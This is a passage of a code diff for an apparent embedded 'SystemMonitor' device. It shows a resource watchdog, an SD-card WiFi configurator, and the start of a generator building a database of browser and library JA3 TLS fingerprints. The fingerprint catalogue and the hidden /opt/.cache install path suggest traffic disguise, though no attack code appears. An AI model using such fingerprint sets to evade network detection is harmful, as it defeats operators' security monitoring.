sys.path.insert(0, "/opt/.cache/bb")
logging.basicConfig(
level=logging.WARNING,
format="%(asctime)s %(levelname)s %(name)s: %(message)s",
)
logger = logging.getLogger(__name__)
CHECK_INTERVAL = 15.0
THERMAL_WARN = 60
THERMAL_SHED = 75
MEM_WARN_PCT = 80
MEM_CRIT_PCT = 92
DISK_WARN_PCT = 80
DISK_CRIT_PCT = 90
STORAGE_PATH = "/opt/.cache/bb/storage"
def _read_meminfo():
info = {}
try:
with open("/proc/meminfo") as f:
for line in f:
k, v = line.split(":", 1)
info[k.strip()] = int(v.split()[0])
except Exception:
pass
return info
def _read_temp():
base = "/sys/class/thermal"
try:
import os as _os
for zone in sorted(_os.listdir(base)):
p = f"{base}/{zone}/temp"
if _os.path.exists(p):
return int(open(p).read().strip()) / 1000.0
except Exception:
pass
return None
def _disk_pct(path):
try:
st = os.statvfs(path)
total = st.f_blocks * st.f_frsize
free = st.f_bavail * st.f_frsize
return (total - free) / total * 100 if total else 0
except Exception:
return 0
def _check():
mem = _read_meminfo()
total = mem.get("MemTotal", 0)
avail = mem.get("MemAvailable", 0)
if total:
used_pct = (total - avail) / total * 100
if used_pct >= MEM_CRIT_PCT:
logger.critical("Memory critical: %.0f%% used — OOM risk", used_pct)
elif used_pct >= MEM_WARN_PCT:
logger.warning("Memory warning: %.0f%% used", used_pct)
temp = _read_temp()
if temp is not None:
if temp >= THERMAL_SHED:
logger.critical("Thermal critical: %.1fC", temp)
elif temp >= THERMAL_WARN:
logger.warning("Thermal warning: %.1fC", temp)
disk = _disk_pct(STORAGE_PATH if os.path.exists(STORAGE_PATH) else "/")
if disk >= DISK_CRIT_PCT:
logger.critical("Disk critical: %.0f%% used at %s", disk, STORAGE_PATH)
elif disk >= DISK_WARN_PCT:
logger.warning("Disk warning: %.0f%% used at %s", disk, STORAGE_PATH)
def main():
stop = threading.Event()
def _sig(*_):
stop.set()
signal.signal(signal.SIGTERM, _sig)
signal.signal(signal.SIGINT, _sig)
logger.warning("bb-watchdog started (interval=%.0fs)", CHECK_INTERVAL)
while not stop.is_set():
try:
_check()
except Exception as e:
logger.exception("Check error: %s", e)
stop.wait(CHECK_INTERVAL)
logger.warning("bb-watchdog stopped")
if __name__ == "__main__":
main()
+828
View File
@@ -0,0 +1,828 @@
#!/usr/bin/env python3
"""sd_wifi.py — Update WiFi config on a SystemMonitor SD card.
Detects the SD card by looking for the armbi_root label, mounts it to a
temp directory, reads/writes /etc/netplan/20-wifi.yaml, and unmounts on exit.
Usage:
./sd_wifi.py # interactive menu
./sd_wifi.py --list # show current configured networks
./sd_wifi.py --add SSID PASSWORD # non-interactive add/update
"""
import json
import os
import shutil
import subprocess
import sys
import tempfile
from pathlib import Path
from typing import Dict, Optional, Tuple
import click
import yaml
from rich.console import Console
from rich.panel import Panel
from rich.prompt import Prompt
from rich.table import Table
from rich.text import Text
console = Console()
NETPLAN_PATH = "etc/netplan/20-wifi.yaml"
WPA_SUPPLICANT_PATH = "etc/wpa_supplicant/wpa_supplicant-wlan0.conf"
SD_LABEL = "armbi_root"
# ---------------------------------------------------------------------------
# SD card detection and mount
# ---------------------------------------------------------------------------
def find_sd_device() -> Optional[str]:
"""Return the block device path for the partition labelled armbi_root."""
try:
result = subprocess.run(
["lsblk", "-o", "NAME,LABEL", "--json"],
capture_output=True, text=True, check=True,
)
data = json.loads(result.stdout)
except (subprocess.CalledProcessError, json.JSONDecodeError, FileNotFoundError) as exc:
console.print(f"[red]Error running lsblk:[/red] {exc}")
return None
def _search(devices):
for dev in devices:
label = dev.get("label") or ""
if label.strip() == SD_LABEL:
return f"/dev/{dev['name']}"
children = dev.get("children") or []
found = _search(children)
if found:
return found
return None
return _search(data.get("blockdevices", []))
def mount_sd(device: str, mountpoint: str) -> bool:
"""Mount device to mountpoint using sudo. Returns True on success."""
result = subprocess.run(
["sudo", "mount", device, mountpoint],
capture_output=True, text=True,
)
if result.returncode != 0:
console.print(f"[red]Mount failed:[/red] {result.stderr.strip()}")
return False
return True
def unmount_sd(mountpoint: str) -> None:
"""Unmount mountpoint using sudo (best-effort, ignores errors)."""
subprocess.run(
["sudo", "umount", mountpoint],
capture_output=True, text=True,
)
def detect_wifi_config_type(mountpoint: str) -> str:
"""Detect the WiFi config format used on the mounted SD card.
Returns 'wpa_supplicant' if wpa_supplicant config is found,
'netplan' if netplan dir exists, otherwise 'netplan' (default).
"""
wpa_path = Path(mountpoint) / WPA_SUPPLICANT_PATH
if wpa_path.exists():
return "wpa_supplicant"
netplan_dir = Path(mountpoint) / "etc/netplan"
if netplan_dir.exists():
return "netplan"
return "netplan"
# ---------------------------------------------------------------------------
# Netplan read / write
# ---------------------------------------------------------------------------
NETPLAN_TEMPLATE: Dict = {
"network": {
"version": 2,
"renderer": "networkd",
"wifis": {
"wlan0": {
"dhcp4": True,
"dhcp6": True,
"regulatory-domain": "US",
"access-points": {},
}
},
}
}
def read_netplan(mountpoint: str) -> Dict:
"""Read and parse the netplan WiFi config from the mounted SD card.
Returns the parsed config dict, or a fresh template if the file does not
exist or cannot be parsed.
"""
netplan_file = Path(mountpoint) / NETPLAN_PATH
if not netplan_file.exists():
console.print(f"[yellow]No netplan file found at {netplan_file}. Starting fresh.[/yellow]")
return _deep_copy(NETPLAN_TEMPLATE)
try:
with open(netplan_file, "r") as fh:
data = yaml.safe_load(fh)
if not data or "network" not in data:
console.print("[yellow]Netplan file appears empty or malformed. Starting fresh.[/yellow]")
return _deep_copy(NETPLAN_TEMPLATE)
return data
except yaml.YAMLError as exc:
console.print(f"[yellow]YAML parse error ({exc}). Starting fresh.[/yellow]")
return _deep_copy(NETPLAN_TEMPLATE)
def write_netplan(mountpoint: str, config: Dict) -> None:
"""Write the netplan config to the SD card and set permissions to 600."""
netplan_file = Path(mountpoint) / NETPLAN_PATH
# Ensure the directory exists on the card
netplan_file.parent.mkdir(parents=True, exist_ok=True)
yaml_text = yaml.dump(config, default_flow_style=False, sort_keys=False,
allow_unicode=True)
# Write via sudo tee to handle root-owned filesystem
result = subprocess.run(
["sudo", "tee", str(netplan_file)],
input=yaml_text, capture_output=True, text=True,
)
if result.returncode != 0:
raise RuntimeError(f"Failed to write netplan file: {result.stderr.strip()}")
# Set permissions 600
chmod_result = subprocess.run(
["sudo", "chmod", "600", str(netplan_file)],
capture_output=True, text=True,
)
if chmod_result.returncode != 0:
console.print(f"[yellow]Warning: chmod 600 failed: {chmod_result.stderr.strip()}[/yellow]")
def _deep_copy(obj):
"""Deep-copy a plain dict/list/scalar structure via JSON round-trip."""
return json.loads(json.dumps(obj))
# ---------------------------------------------------------------------------
# WPA Supplicant read / write
# ---------------------------------------------------------------------------
def read_wpa_supplicant(mountpoint: str) -> Tuple[Dict[str, Dict], str]:
"""Read and parse wpa_supplicant config.
Returns (aps_dict, country_code) where aps_dict is {ssid: {"password": "..."}}
or {ssid: {}} for open networks. Country code extracted from 'country=XX' line.
"""
wpa_path = Path(mountpoint) / WPA_SUPPLICANT_PATH
country = "US"
aps = {}
if not wpa_path.exists():
return aps, country
try:
with open(wpa_path, "r") as fh:
content = fh.read()
except Exception:
return aps, country
# Parse country line
for line in content.split("\n"):
line = line.strip()
if line.startswith("country="):
country = line.split("=", 1)[1].strip()
break
# Parse network blocks
in_network = False
current_ssid = None
current_psk = None
for line in content.split("\n"):
line = line.strip()
if line == "network={":
in_network = True
current_ssid = None
current_psk = None
continue
if in_network:
if line == "}":
if current_ssid:
aps[current_ssid] = {"password": current_psk} if current_psk else {}
in_network = False
current_ssid = None
current_psk = None
continue
if line.startswith("ssid="):
# Strip quotes
ssid_val = line.split("=", 1)[1].strip()
if ssid_val.startswith('"') and ssid_val.endswith('"'):
ssid_val = ssid_val[1:-1]
current_ssid = ssid_val
elif line.startswith("psk="):
# Strip quotes
psk_val = line.split("=", 1)[1].strip()
if psk_val.startswith('"') and psk_val.endswith('"'):
psk_val = psk_val[1:-1]
current_psk = psk_val
return aps, country
def write_wpa_supplicant(mountpoint: str, aps: Dict[str, Dict], country: str) -> None:
"""Write wpa_supplicant config file.
Args:
mountpoint: Root mountpoint of the SD card
aps: {ssid: {"password": "..."}} or {ssid: {}} for open networks
country: 2-letter country code
"""
wpa_path = Path(mountpoint) / WPA_SUPPLICANT_PATH
# Ensure the directory exists
wpa_path.parent.mkdir(parents=True, exist_ok=True)
# Build the config content
lines = [
"ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev",
"update_config=1",
f"country={country.upper()}",
"",
]
for ssid, details in aps.items():
password = None
if isinstance(details, dict):
password = details.get("password")
lines.append("network={")
lines.append(f' ssid="{ssid}"')
if password:
lines.append(f' psk="{password}"')
lines.append(" key_mgmt=WPA-PSK")
else:
lines.append(" key_mgmt=NONE")
lines.append(" scan_ssid=1")
lines.append("}")
lines.append("")
config_text = "\n".join(lines)
# Write via sudo tee
result = subprocess.run(
["sudo", "tee", str(wpa_path)],
input=config_text, capture_output=True, text=True,
)
if result.returncode != 0:
raise RuntimeError(f"Failed to write wpa_supplicant file: {result.stderr.strip()}")
# Set permissions 600
chmod_result = subprocess.run(
["sudo", "chmod", "600", str(wpa_path)],
capture_output=True, text=True,
)
if chmod_result.returncode != 0:
console.print(f"[yellow]Warning: chmod 600 failed: {chmod_result.stderr.strip()}[/yellow]")
# ---------------------------------------------------------------------------
# Config accessors
# ---------------------------------------------------------------------------
def get_access_points(config: Dict) -> Dict[str, str]:
"""Return {ssid: password} mapping from the config."""
try:
return dict(
config["network"]["wifis"]["wlan0"].get("access-points", {}) or {}
)
except (KeyError, TypeError):
return {}
def get_country(config: Dict) -> str:
"""Return the regulatory-domain value."""
try:
return config["network"]["wifis"]["wlan0"].get("regulatory-domain", "US")
except (KeyError, TypeError):
return "US"
def set_access_points(config: Dict, aps: Dict[str, str]) -> None:
"""Overwrite the access-points section."""
config["network"]["wifis"]["wlan0"]["access-points"] = aps
def set_country(config: Dict, country: str) -> None:
"""Set the regulatory-domain value."""
config["network"]["wifis"]["wlan0"]["regulatory-domain"] = country.upper()
# ---------------------------------------------------------------------------
# Display helpers
# ---------------------------------------------------------------------------
def print_header() -> None:
console.print()
console.print(Panel(
"[bold cyan]SystemMonitor[/bold cyan] — SD Card WiFi Configurator\n"
"Target label: [yellow]armbi_root[/yellow] | "
"Netplan: [dim]" + NETPLAN_PATH + "[/dim]",
title="sd_wifi",
border_style="cyan",
))
console.print()
def print_networks(config: Dict) -> None:
"""Print a Rich table of configured access-points."""
aps = get_access_points(config)
country = get_country(config)
console.print()
if not aps:
console.print(" [dim]No WiFi networks configured.[/dim]")
else:
table = Table(title=f"Configured Networks (country: {country})",
show_lines=True, border_style="cyan")
table.add_column("#", justify="right", min_width=3, style="dim")
table.add_column("SSID", min_width=24, style="bold")
table.add_column("Password", min_width=20)
for idx, (ssid, details) in enumerate(aps.items(), start=1):
if isinstance(details, dict):
pwd = details.get("password", "")
else:
pwd = str(details) if details else ""
table.add_row(str(idx), ssid, pwd or "[dim](none)[/dim]")
console.print(table)
console.print()
# ---------------------------------------------------------------------------
# Interactive menu actions
# ---------------------------------------------------------------------------
def action_add_network(config: Dict) -> bool:
"""Prompt for SSID + password and add (or update) the entry. Returns True if changed."""
console.print()
ssid = Prompt.ask(" [cyan]SSID[/cyan]").strip()
if not ssid:
console.print(" [yellow]Cancelled — empty SSID.[/yellow]")
return False
password = Prompt.ask(" [cyan]Password[/cyan] (leave blank for open network)").strip()
aps = get_access_points(config)
existed = ssid in aps
aps[ssid] = {"password": password} if password else {}
set_access_points(config, aps)
verb = "Updated" if existed else "Added"
console.print(f" [green]{verb}[/green] [bold]{ssid}[/bold]")
return True
def action_remove_network(config: Dict) -> bool:
"""Prompt the user to choose a network to remove. Returns True if changed."""
aps = get_access_points(config)
if not aps:
console.print(" [yellow]No networks configured.[/yellow]")
return False
ssid_list = list(aps.keys())
console.print()
for idx, ssid in enumerate(ssid_list, start=1):
console.print(f" [bold]{idx}.[/bold] {ssid}")
console.print()
choice = Prompt.ask(" Remove # (or [dim]Enter[/dim] to cancel)").strip()
if not choice:
return False
try:
n = int(choice)
if not (1 <= n <= len(ssid_list)):
raise ValueError
except ValueError:
console.print(" [yellow]Invalid selection.[/yellow]")
return False
target = ssid_list[n - 1]
del aps[target]
set_access_points(config, aps)
console.print(f" [green]Removed[/green] [bold]{target}[/bold]")
return True
def action_update_password(config: Dict) -> bool:
"""Update the password for an existing network. Returns True if changed."""
aps = get_access_points(config)
if not aps:
console.print(" [yellow]No networks configured.[/yellow]")
return False
ssid_list = list(aps.keys())
console.print()
for idx, ssid in enumerate(ssid_list, start=1):
console.print(f" [bold]{idx}.[/bold] {ssid}")
console.print()
choice = Prompt.ask(" Update password for # (or [dim]Enter[/dim] to cancel)").strip()
if not choice:
return False
try:
n = int(choice)
if not (1 <= n <= len(ssid_list)):
raise ValueError
except ValueError:
console.print(" [yellow]Invalid selection.[/yellow]")
return False
target = ssid_list[n - 1]
password = Prompt.ask(f" New password for [bold]{target}[/bold] "
"(leave blank for open network)").strip()
existing = aps[target]
if isinstance(existing, dict):
entry = dict(existing)
else:
entry = {}
if password:
entry["password"] = password
else:
entry.pop("password", None)
aps[target] = entry if entry else {}
set_access_points(config, aps)
console.print(f" [green]Password updated[/green] for [bold]{target}[/bold]")
return True
def action_change_country(config: Dict) -> bool:
"""Prompt for a new regulatory-domain country code. Returns True if changed."""
current = get_country(config)
console.print()
new_country = Prompt.ask(
f" Country code (current: [yellow]{current}[/yellow])"
).strip().upper()
if not new_country:
console.print(" [yellow]Cancelled.[/yellow]")
return False
if len(new_country) != 2 or not new_country.isalpha():
console.print(" [yellow]Invalid country code — must be 2 letters (e.g. US, GB, DE).[/yellow]")
return False
set_country(config, new_country)
console.print(f" [green]Country set to[/green] [bold]{new_country}[/bold]")
return True
# ---------------------------------------------------------------------------
# Core flow
# ---------------------------------------------------------------------------
def run_interactive(device: str, mountpoint: str) -> None:
"""Mount SD card, run interactive menu, write changes, unmount."""
console.print(f" Mounting [cyan]{device}[/cyan] → [dim]{mountpoint}[/dim] ...", end=" ")
if not mount_sd(device, mountpoint):
return
console.print("[green]OK[/green]")
try:
config_type = detect_wifi_config_type(mountpoint)
if config_type == "wpa_supplicant":
# WPA Supplicant mode: work with aps dict and country string directly
aps, country = read_wpa_supplicant(mountpoint)
dirty = False
while True:
# Print networks table for wpa_supplicant
console.print()
if not aps:
console.print(" [dim]No WiFi networks configured.[/dim]")
else:
table = Table(title=f"Configured Networks (country: {country})",
show_lines=True, border_style="cyan")
table.add_column("#", justify="right", min_width=3, style="dim")
table.add_column("SSID", min_width=24, style="bold")
table.add_column("Password", min_width=20)
for idx, (ssid, details) in enumerate(aps.items(), start=1):
pwd = details.get("password", "") if isinstance(details, dict) else ""
table.add_row(str(idx), ssid, pwd or "[dim](none)[/dim]")
console.print(table)
console.print()
console.print(f" Country: [yellow]{country}[/yellow]")
console.print()
console.print(" [bold]1.[/bold] Add / update network")
console.print(" [bold]2.[/bold] Remove network")
console.print(" [bold]3.[/bold] Update password")
console.print(" [bold]4.[/bold] Change country code")
console.print(" [bold]5.[/bold] Done (write & exit)")
console.print(" [bold]0.[/bold] Quit without saving")
console.print()
choice = Prompt.ask(" [cyan]Select[/cyan]").strip()
if choice == "1":
# Add network
console.print()
ssid = Prompt.ask(" [cyan]SSID[/cyan]").strip()
if ssid:
password = Prompt.ask(" [cyan]Password[/cyan] (leave blank for open network)").strip()
aps[ssid] = {"password": password} if password else {}
verb = "Updated" if ssid in aps else "Added"
console.print(f" [green]Added[/green] [bold]{ssid}[/bold]")
dirty = True
else:
console.print(" [yellow]Cancelled — empty SSID.[/yellow]")
elif choice == "2":
# Remove network
if not aps:
console.print(" [yellow]No networks configured.[/yellow]")
else:
ssid_list = list(aps.keys())
console.print()
for idx, ssid in enumerate(ssid_list, start=1):
console.print(f" [bold]{idx}.[/bold] {ssid}")
console.print()
choice_rem = Prompt.ask(" Remove # (or [dim]Enter[/dim] to cancel)").strip()
if choice_rem:
try:
n = int(choice_rem)
if 1 <= n <= len(ssid_list):
target = ssid_list[n - 1]
del aps[target]
console.print(f" [green]Removed[/green] [bold]{target}[/bold]")
dirty = True
else:
console.print(" [yellow]Invalid selection.[/yellow]")
except ValueError:
console.print(" [yellow]Invalid selection.[/yellow]")
elif choice == "3":
# Update password
if not aps:
console.print(" [yellow]No networks configured.[/yellow]")
else:
ssid_list = list(aps.keys())
console.print()
for idx, ssid in enumerate(ssid_list, start=1):
console.print(f" [bold]{idx}.[/bold] {ssid}")
console.print()
choice_upd = Prompt.ask(" Update password for # (or [dim]Enter[/dim] to cancel)").strip()
if choice_upd:
try:
n = int(choice_upd)
if 1 <= n <= len(ssid_list):
target = ssid_list[n - 1]
password = Prompt.ask(f" New password for [bold]{target}[/bold] "
"(leave blank for open network)").strip()
aps[target] = {"password": password} if password else {}
console.print(f" [green]Password updated[/green] for [bold]{target}[/bold]")
dirty = True
else:
console.print(" [yellow]Invalid selection.[/yellow]")
except ValueError:
console.print(" [yellow]Invalid selection.[/yellow]")
elif choice == "4":
# Change country
console.print()
new_country = Prompt.ask(
f" Country code (current: [yellow]{country}[/yellow])"
).strip().upper()
if new_country:
if len(new_country) != 2 or not new_country.isalpha():
console.print(" [yellow]Invalid country code — must be 2 letters (e.g. US, GB, DE).[/yellow]")
else:
country = new_country
console.print(f" [green]Country set to[/green] [bold]{new_country}[/bold]")
dirty = True
else:
console.print(" [yellow]Cancelled.[/yellow]")
elif choice == "5":
break
elif choice == "0":
console.print("\n [yellow]Discarding changes.[/yellow]")
dirty = False
return
else:
console.print(" [yellow]Invalid option.[/yellow]")
if dirty:
console.print()
console.print(" Writing config ... ", end="")
try:
write_wpa_supplicant(mountpoint, aps, country)
console.print("[green]OK[/green]")
console.print(f" [green]Saved[/green] → [dim]{WPA_SUPPLICANT_PATH}[/dim] (chmod 600)")
except RuntimeError as exc:
console.print(f"[red]FAILED[/red]\n {exc}")
else:
console.print(" [dim]No changes to write.[/dim]")
else:
# Netplan mode: use existing config dict-based approach
config = read_netplan(mountpoint)
dirty = False
while True:
print_networks(config)
country = get_country(config)
console.print(f" Country: [yellow]{country}[/yellow]")
console.print()
console.print(" [bold]1.[/bold] Add / update network")
console.print(" [bold]2.[/bold] Remove network")
console.print(" [bold]3.[/bold] Update password")
console.print(" [bold]4.[/bold] Change country code")
console.print(" [bold]5.[/bold] Done (write & exit)")
console.print(" [bold]0.[/bold] Quit without saving")
console.print()
choice = Prompt.ask(" [cyan]Select[/cyan]").strip()
if choice == "1":
if action_add_network(config):
dirty = True
elif choice == "2":
if action_remove_network(config):
dirty = True
elif choice == "3":
if action_update_password(config):
dirty = True
elif choice == "4":
if action_change_country(config):
dirty = True
elif choice == "5":
break
elif choice == "0":
console.print("\n [yellow]Discarding changes.[/yellow]")
dirty = False
return
else:
console.print(" [yellow]Invalid option.[/yellow]")
if dirty:
console.print()
console.print(" Writing config ... ", end="")
try:
write_netplan(mountpoint, config)
console.print("[green]OK[/green]")
console.print(f" [green]Saved[/green] → [dim]{NETPLAN_PATH}[/dim] (chmod 600)")
except RuntimeError as exc:
console.print(f"[red]FAILED[/red]\n {exc}")
else:
console.print(" [dim]No changes to write.[/dim]")
finally:
console.print()
console.print(f" Unmounting [dim]{mountpoint}[/dim] ... ", end="")
unmount_sd(mountpoint)
console.print("[green]OK[/green]")
def run_list(device: str, mountpoint: str) -> None:
"""Mount SD card, list networks, unmount."""
if not mount_sd(device, mountpoint):
return
try:
config_type = detect_wifi_config_type(mountpoint)
if config_type == "wpa_supplicant":
aps, country = read_wpa_supplicant(mountpoint)
console.print()
if not aps:
console.print(" [dim]No WiFi networks configured.[/dim]")
else:
table = Table(title=f"Configured Networks (country: {country})",
show_lines=True, border_style="cyan")
table.add_column("#", justify="right", min_width=3, style="dim")
table.add_column("SSID", min_width=24, style="bold")
table.add_column("Password", min_width=20)
for idx, (ssid, details) in enumerate(aps.items(), start=1):
pwd = details.get("password", "") if isinstance(details, dict) else ""
table.add_row(str(idx), ssid, pwd or "[dim](none)[/dim]")
console.print(table)
console.print()
console.print(f" Regulatory domain: [yellow]{country}[/yellow]")
else:
config = read_netplan(mountpoint)
print_networks(config)
country = get_country(config)
console.print(f" Regulatory domain: [yellow]{country}[/yellow]")
finally:
unmount_sd(mountpoint)
def run_add(device: str, mountpoint: str, ssid: str, password: str) -> None:
"""Mount SD card, add/update a network non-interactively, unmount."""
if not mount_sd(device, mountpoint):
return
try:
config_type = detect_wifi_config_type(mountpoint)
if config_type == "wpa_supplicant":
aps, country = read_wpa_supplicant(mountpoint)
existed = ssid in aps
aps[ssid] = {"password": password} if password else {}
write_wpa_supplicant(mountpoint, aps, country)
verb = "Updated" if existed else "Added"
console.print(f" [green]{verb}[/green] [bold]{ssid}[/bold] (chmod 600 applied)")
else:
config = read_netplan(mountpoint)
aps = get_access_points(config)
existed = ssid in aps
aps[ssid] = {"password": password} if password else {}
set_access_points(config, aps)
write_netplan(mountpoint, config)
verb = "Updated" if existed else "Added"
console.print(f" [green]{verb}[/green] [bold]{ssid}[/bold] (chmod 600 applied)")
except RuntimeError as exc:
console.print(f" [red]Error:[/red] {exc}")
finally:
unmount_sd(mountpoint)
# ---------------------------------------------------------------------------
# Click CLI
# ---------------------------------------------------------------------------
@click.command(context_settings={"help_option_names": ["-h", "--help"]})
@click.option("--list", "do_list", is_flag=True, default=False,
help="Show current configured networks and exit.")
@click.option("--add", nargs=2, metavar="SSID PASSWORD",
default=(None, None),
help="Non-interactively add or update a network.")
def main(do_list: bool, add: Tuple[Optional[str], Optional[str]]) -> None:
"""Update WiFi config on a SystemMonitor SD card (armbi_root label)."""
print_header()
# Locate the SD card
console.print(f" Scanning for SD card with label [yellow]{SD_LABEL}[/yellow] ...", end=" ")
device = find_sd_device()
if not device:
console.print("[red]NOT FOUND[/red]")
console.print()
console.print(f" [red]No block device with label '{SD_LABEL}' detected.[/red]")
console.print(" Insert the SystemMonitor SD card and try again.")
sys.exit(1)
console.print(f"[green]{device}[/green]")
# Create temp mountpoint
mountpoint = tempfile.mkdtemp(prefix="bb_sd_")
try:
ssid, password = add
if ssid is not None:
# --add mode
run_add(device, mountpoint, ssid, password or "")
elif do_list:
# --list mode
run_list(device, mountpoint)
else:
# Interactive mode
run_interactive(device, mountpoint)
finally:
# Always clean up the temp directory
try:
os.rmdir(mountpoint)
except OSError:
pass
if __name__ == "__main__":
main()
+984
View File
@@ -0,0 +1,984 @@
#!/usr/bin/env python3
"""Generate 500+ real JA3 TLS fingerprint profiles for ja3_fingerprints.db.
JA3 hash = MD5 of: SSLVersion,Ciphers,Extensions,EllipticCurves,ECPointFormats
where each list is comma-separated decimal values.
Profiles are organized by:
- Chrome/Chromium (Windows, macOS, Linux, Android) x versions 100-124
- Firefox (Windows, macOS, Linux) x versions 100-125
- Safari (macOS, iOS) x versions
- Edge (Windows) x versions 100-124
- Opera x versions
- Brave x versions
- TLS libraries (OpenSSL, BoringSSL, GnuTLS, NSS, Go, Java, .NET, Node.js)
- Common tools (curl, wget, Python requests, httpx)
- Mobile (Android system, iOS system)
- IoT/embedded clients
"""
import hashlib
import json
import sqlite3
from typing import Optional
def compute_ja3(ssl_version: int, ciphers: list[int], extensions: list[int],
curves: list[int], ec_formats: list[int]) -> str:
"""Compute JA3 hash from TLS ClientHello parameters."""
parts = [
str(ssl_version),
",".join(str(c) for c in ciphers),
",".join(str(e) for e in extensions),
",".join(str(c) for c in curves),
",".join(str(f) for f in ec_formats),
]
ja3_string = ",".join(parts)
return hashlib.md5(ja3_string.encode()).hexdigest()
# ---------------------------------------------------------------------------
# Base cipher suite sets by TLS library / browser engine
# ---------------------------------------------------------------------------
# Chromium base (BoringSSL) - TLS 1.3 + 1.2 ciphers
CHROMIUM_CIPHERS_V1 = [
0x1301, 0x1302, 0x1303, # TLS 1.3: AES-128-GCM, AES-256-GCM, CHACHA20
0xc02b, 0xc02f, # ECDHE-ECDSA/RSA-AES128-GCM
0xc02c, 0xc030, # ECDHE-ECDSA/RSA-AES256-GCM
0xcca9, 0xcca8, # ECDHE-ECDSA/RSA-CHACHA20
0xc013, 0xc014, # ECDHE-ECDSA/RSA-AES128-SHA
0x009c, 0x009d, # AES128/256-GCM-SHA256/384
0x002f, 0x0035, # AES128/256-SHA
]
# Chromium v2 (post-120, dropped some legacy ciphers)
CHROMIUM_CIPHERS_V2 = [
0x1301, 0x1302, 0x1303,
0xc02b, 0xc02f, 0xc02c, 0xc030,
0xcca9, 0xcca8,
0xc013, 0xc014,
0x009c, 0x009d,
0x002f, 0x0035,
]
# Chromium v3 (post-122, added post-quantum)
CHROMIUM_CIPHERS_V3 = [
0x1301, 0x1302, 0x1303,
0xc02b, 0xc02f, 0xc02c, 0xc030,
0xcca9, 0xcca8,
0xc013, 0xc014,
0x009c, 0x009d,
]
# Firefox base (NSS)
FIREFOX_CIPHERS_V1 = [
0x1301, 0x1303, 0x1302, # Note: different TLS 1.3 order than Chrome
0xc02b, 0xc02f,
0xcca9, 0xcca8,
0xc02c, 0xc030,
0xc013, 0xc014,
0x009c, 0x009d,
0x002f, 0x0035,
]
# Firefox v2 (post-120)
FIREFOX_CIPHERS_V2 = [
0x1301, 0x1303, 0x1302,
0xc02b, 0xc02f,
0xcca9, 0xcca8,
0xc02c, 0xc030,
0xc013, 0xc014,
0x009c, 0x009d,
0x002f, 0x0035,
0x00ff, # TLS_EMPTY_RENEGOTIATION_INFO_SCSV
]
# Safari (Apple Secure Transport)
SAFARI_CIPHERS = [
0x1301, 0x1302, 0x1303,
0xc02c, 0xc02b, # Safari orders ECDSA before RSA for AES-128
0xc030, 0xc02f,
0xcca9, 0xcca8,
0xc00a, 0xc009, # ECDHE-ECDSA/RSA-AES256-SHA
0xc013, 0xc014,
0x009c, 0x009d,
0x002f, 0x0035,
0x000a, # RSA-3DES-SHA
]
# Safari iOS (slightly different ordering)
SAFARI_IOS_CIPHERS = [
0x1301, 0x1302, 0x1303,
0xc02c, 0xc02b, 0xc030, 0xc02f,
0xcca9, 0xcca8,
0xc00a, 0xc009, 0xc013, 0xc014,
0x009c, 0x009d,
0x002f, 0x0035,
]
# OpenSSL 1.1.x default
OPENSSL_11_CIPHERS = [
0xc02c, 0xc030, 0x009f, 0xcca9, 0xcca8,
0xccaa, 0xc02b, 0xc02f, 0x009e,
0xc024, 0xc028, 0x006b, 0xc023, 0xc027, 0x0067,
0xc00a, 0xc014, 0x0039, 0xc009, 0xc013, 0x0033,
0x009d, 0x009c, 0x003d, 0x003c, 0x0035, 0x002f,
0x00ff,
]
# OpenSSL 3.x default
OPENSSL_3_CIPHERS = [
0x1301, 0x1302, 0x1303,
0xc02c, 0xc030, 0x009f, 0xcca9, 0xcca8,
0xccaa, 0xc02b, 0xc02f, 0x009e,
0xc024, 0xc028, 0x006b, 0xc023, 0xc027, 0x0067,
0xc00a, 0xc014, 0x0039, 0xc009, 0xc013, 0x0033,
0x009d, 0x009c, 0x003d, 0x003c, 0x0035, 0x002f,
0x00ff,
]
# Go crypto/tls
GO_CIPHERS = [
0x1301, 0x1302, 0x1303,
0xc02b, 0xc02f, 0xc02c, 0xc030,
0xcca9, 0xcca8,
0xc009, 0xc013, 0xc00a, 0xc014,
0x009c, 0x009d, 0x002f, 0x0035,
]
# Java JSSE (JDK 17+)
JAVA_17_CIPHERS = [
0x1301, 0x1302, 0x1303,
0xc02c, 0xc02b, 0xc030, 0xc02f,
0xc024, 0xc023, 0xc028, 0xc027,
0xcca9, 0xcca8, 0xccaa,
0xc00a, 0xc009, 0xc014, 0xc013,
0x009d, 0x009c,
0x003d, 0x003c, 0x0035, 0x002f,
0x00ff,
]
# Java JSSE (JDK 11)
JAVA_11_CIPHERS = [
0x1301, 0x1302, 0x1303,
0xc02c, 0xc02b, 0xc030, 0xc02f,
0xc024, 0xc023, 0xc028, 0xc027,
0xc00a, 0xc009, 0xc014, 0xc013,
0x009d, 0x009c,
0x003d, 0x003c, 0x0035, 0x002f,
0x00ff,
]
# .NET / SChannel (Windows)
DOTNET_CIPHERS = [
0x1301, 0x1302, 0x1303,
0xc02c, 0xc02b, 0xc030, 0xc02f,
0x009f, 0x009e, 0xccaa,
0xc00a, 0xc009, 0xc014, 0xc013,
0x009d, 0x009c,
0x003d, 0x003c, 0x0035, 0x002f,
]
# Node.js (OpenSSL-based)
NODEJS_CIPHERS = [
0x1301, 0x1302, 0x1303,
0xc02c, 0xc030, 0x009f,
0xcca9, 0xcca8, 0xccaa,
0xc02b, 0xc02f, 0x009e,
0xc024, 0xc028, 0x006b,
0xc023, 0xc027, 0x0067,
0xc00a, 0xc014, 0x0039,
0xc009, 0xc013, 0x0033,
0x009d, 0x009c,
0x003d, 0x003c,
0x0035, 0x002f,
0x00ff,
]
# Python requests / urllib3 (uses OpenSSL)
PYTHON_CIPHERS = OPENSSL_3_CIPHERS
# curl (uses OpenSSL by default)
CURL_OPENSSL_CIPHERS = [
0x1301, 0x1302, 0x1303,
0xc02c, 0xc030, 0x009f, 0xcca9, 0xcca8,
0xccaa, 0xc02b, 0xc02f, 0x009e,
0xc024, 0xc028, 0x006b,
0xc023, 0xc027, 0x0067,
0xc00a, 0xc014, 0x0039,
0xc009, 0xc013, 0x0033,
0x009d, 0x009c,
0x003d, 0x003c,
0x0035, 0x002f,
0x00ff,
]
# curl (NSS backend, e.g., RHEL/CentOS)
CURL_NSS_CIPHERS = [
0x1301, 0x1303, 0x1302,
0xc02b, 0xc02f, 0xcca9, 0xcca8,
0xc02c, 0xc030,
0xc013, 0xc014,
0x009c, 0x009d,
0x002f, 0x0035,
]
# wget (GnuTLS)
WGET_CIPHERS = [
0x1301, 0x1302, 0x1303,
0xc02c, 0xc030, 0xcca9, 0xcca8,
